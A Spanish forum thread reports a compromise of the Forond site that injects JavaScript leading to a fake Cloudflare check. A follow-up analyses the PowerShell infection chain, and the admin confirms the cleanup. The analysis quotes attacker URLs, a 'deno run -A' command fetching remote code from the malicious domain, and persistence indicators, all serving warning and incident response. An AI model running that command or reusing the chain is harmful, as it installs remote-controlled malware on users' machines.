Problema de seguridad detectado en Forond

[Gepete]

Problema de seguridad detectado en Forond

He detectado un problema de seguridad al acceder a Forond desde un ordenador.

La página está cargando un código JavaScript que realiza una consulta a un contrato de Polygon:

Código: Seleccionar todo

0xb29927B7D854b232D5E58CFc201866376E68C676

Ese contrato devuelve estas dos direcciones:

Código: Seleccionar todo

https://checkmybtrobot.cc
https://checkdvvc99.cc

El código utiliza una de ellas para cargar posteriormente otro JavaScript. En el navegador, esto puede terminar mostrando una falsa pantalla de Cloudflare que intenta convencer al usuario para ejecutar un comando de PowerShell.

He comprobado directamente el código HTML que entrega

Código: Seleccionar todo

forond.com

, por lo que el problema no parece estar en un ordenador concreto, sino en el código que está sirviendo actualmente el propio foro.

RECOMENDACIÓN A LOS USUARIOS

Mientras se investiga y soluciona el problema, no ejecutéis ningún comando de PowerShell ni sigáis instrucciones que aparezcan en una supuesta comprobación de Cloudflare. En particular, no copiéis ni peguéis comandos que la página os indique.

MEDIDAS RECOMENDADAS AL ADMINISTRADOR

• []Retirar inmediatamente el JavaScript que realiza la consulta al contrato de Polygon.
  []Buscar en plantillas, extensiones, anuncios y archivos modificados recientemente referencias al contrato

  Código: Seleccionar todo

  0xb29927B7D854b232D5E58CFc201866376E68C676

  ,

  Código: Seleccionar todo

  1rpc.io

  ,

  Código: Seleccionar todo

  polygon-bor-rpc.publicnode.com

  y los dos dominios indicados.
  []Revisar cómo se introdujo el código y comprobar posibles cuentas administrativas o extensiones comprometidas.
  []Cambiar las credenciales administrativas y revisar las sesiones activas.
  []Revisar los registros del servidor para determinar cuándo se introdujo la modificación.
  []Una vez eliminado el código, comprobar el foro desde varios navegadores y dispositivos para confirmar que ya no se carga.

En mi caso, no ejecuté el comando que solicitaba la página, por lo que no he observado indicios de infección en mi equipo.

Dispongo del código exacto que he encontrado y de las pruebas que muestran cómo el código de Forond termina llegando a esos dominios, por si el administrador las necesita.

[admin_forond]

Hola estimado forista, gracias por el reporte, ya le informamos a las personas que nos ayudan con el tema del sitio y servidores, nos comentan que en menos de 24 horas pueden revisar ese issue.

Los. Mantendremos informados.

Gracias

[TACO]

ACTUALIZACIÓN: qué ocurre si alguien ejecuta el comando

Añado información nueva que complementa lo ya explicado por Gepete.

Se ha podido reconstruir la cadena posterior a la falsa comprobación de Cloudflare. Si el usuario ejecuta el comando de PowerShell, éste descarga y ejecuta código adicional desde:

Código: Seleccionar todo

https://checkmybtrobot.cc/ps/traffic?r=b2af

Ese código realiza, entre otras cosas, lo siguiente:

• Oculta la ventana de PowerShell.
• Instala Deno mediante winget.
• Localiza el ejecutable de Deno instalado.
• Ejecuta un segundo script remoto con:

Código: Seleccionar todo

deno run -A https://checkmybtrobot.cc/j/traffic?r=b2af

La opción -A concede al script permisos amplios sobre el sistema, incluyendo acceso a archivos, procesos y red.

Además, se ha podido confirmar que la cadena puede crear un mecanismo de persistencia en Windows.

En concreto, se ha observado la creación de:

Código: Seleccionar todo

%LOCALAPPDATA%\Microsoft\ModernExec\modernexecserver.dll

junto con una clave COM asociada al CLSID:

Código: Seleccionar todo

{EF7F04A5-461B-4E32-840D-5841AB00713C}

Este mecanismo permite que el código pueda volver a cargarse posteriormente, incluso después de cerrar la ventana inicial.

También queda almacenada una copia del JavaScript descargado dentro de la caché de Deno bajo el dominio:

Código: Seleccionar todo

checkmybtrobot.cc

Por tanto, el problema no debe considerarse únicamente una falsa pantalla o una redirección.

Si alguien llegó a ejecutar el comando de PowerShell, debe considerar que se ejecutó código remoto con amplios permisos y que pudo haberse creado persistencia en Windows.

RECOMENDACIÓN ADICIONAL A LA ADMINISTRACIÓN

Además de eliminar el JavaScript que está sirviendo el foro, convendría investigar si este comportamiento corresponde a una campaña conocida y revisar los registros buscando accesos o actividad relacionada con:

Código: Seleccionar todo

checkmybtrobot.cc
checkdvvc99.cc
ModernExec
modernexecserver.dll
DenoLand.Deno

También sería recomendable revisar si otros usuarios han reportado haber ejecutado el supuesto proceso de "verificación".

RECOMENDACIÓN A QUIEN HAYA EJECUTADO EL COMANDO

Quien haya llegado a ejecutar el PowerShell no debería limitarse a borrar el historial del navegador.

Conviene:

• Realizar una revisión completa del sistema.
• Comprobar si Deno fue instalado recientemente.
• Comprobar la existencia de la carpeta:

Código: Seleccionar todo

%LOCALAPPDATA%\Microsoft\ModernExec

y del CLSID:

Código: Seleccionar todo

{EF7F04A5-461B-4E32-840D-5841AB00713C}

También es prudente considerar potencialmente expuestas las sesiones o credenciales accesibles desde ese equipo hasta completar la revisión.

El punto importante es que ahora sabemos que la cadena no termina en el engaño de Cloudflare: después de ejecutar el comando puede instalar componentes adicionales y establecer persistencia en Windows.

[TACO]

Por cierto, quiero agradecer a Gepete por su acertada alerta en esta materia.

Desde hace algun tiempo mi sistema de seguridad registaraba malaware en el site. Pensaba que era un bug. Pues no...

[admin_forond]

Estimada foristas:

Queremos informarles que el problema de seguridad reportado recientemente en el foro ha sido totalmente solucionado.

El código malicioso que afectaba a la carga de la página (y que simulaba una verificación falsa de Cloudflare) ya ha sido completamente removido de nuestros servidores y sistemas, y hemos reforzado las medidas de seguridad y credenciales administrativas.

¿Qué deben hacer los usuarios?
Para garantizar que carguen la versión limpia y actualizada del sitio, les recomendamos realizar los siguientes pasos sencillos:

Limpiar la caché del navegador o hacer una recarga forzada (con Ctrl + F5 en Windows/Linux o Cmd + Shift + R en Mac).

Ingresar al foro con total normalidad. Como medida de precaución general, recuerden nunca ejecutar comandos de PowerShell ni seguir instrucciones de páginas externas que soliciten acciones sospechosas en su equipo.

Si detectan cualquier detalle extraño, anomalía o tienen alguna duda, por favor avísennos de inmediato respondiendo a este hilo o contactando con el equipo de administración.

Agradecemos enormemente a quienes nos alertaron y a todos por su paciencia y colaboración para mantener seguro el foro.